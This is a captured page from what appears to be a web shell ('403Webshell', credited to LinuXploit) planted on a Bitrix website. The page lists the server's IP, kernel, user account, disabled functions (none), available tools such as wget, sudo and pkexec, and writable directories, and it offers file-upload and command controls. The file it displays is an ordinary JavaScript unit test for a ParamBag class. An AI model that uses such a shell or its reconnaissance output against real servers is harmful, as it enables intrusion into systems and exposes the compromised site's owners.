403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/main/parambag/test/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/main/parambag/test/parambag.test.js
import {ParamBag} from '../src/parambag';

describe('main/parambag', () => {
	it('Should be exported as function', () => {
		assert.ok(typeof ParamBag === 'function');
	});

	it('Should create from plain object', () => {
		const options = {
			param1: 1,
			param2: 'value2',
			param3: {param: 1, param2: 2},
			param4: [1, 2, 3, {test: 1}],
		};

		const params = new ParamBag(options);

		assert.deepEqual(params.getParam('param1'), options.param1);
		assert.deepEqual(params.getParam('param2'), options.param2);
		assert.deepEqual(params.getParam('param3'), options.param3);
		assert.deepEqual(params.getParam('param4'), options.param4);
	});

	it('Should create from array', () => {
		const options = [
			1,
			'value2',
			{param: 1, param2: 2},
			[1, 2, 3, {test: 1}],
		];

		const params = new ParamBag(options);

		assert.deepEqual(params.getParam('0'), options[0]);
		assert.deepEqual(params.getParam('1'), options[1]);
		assert.deepEqual(params.getParam('2'), options[2]);
		assert.deepEqual(params.getParam('3'), options[3]);
	});

	it('Should create without params', () => {
		assert.doesNotThrow(() => {
			void new ParamBag();
		});
	});

	it('Should ignore bad params', () => {
		assert.doesNotThrow(() => {
			void new ParamBag(null);
		});

		assert.doesNotThrow(() => {
			void new ParamBag('test');
		});

		assert.doesNotThrow(() => {
			void new ParamBag(() => true);
		});

		assert.doesNotThrow(() => {
			void new ParamBag(false);
		});

		assert.doesNotThrow(() => {
			void new ParamBag(1);
		});
	});
});

Youez - 2016 - github.com/yon3zu
LinuXploit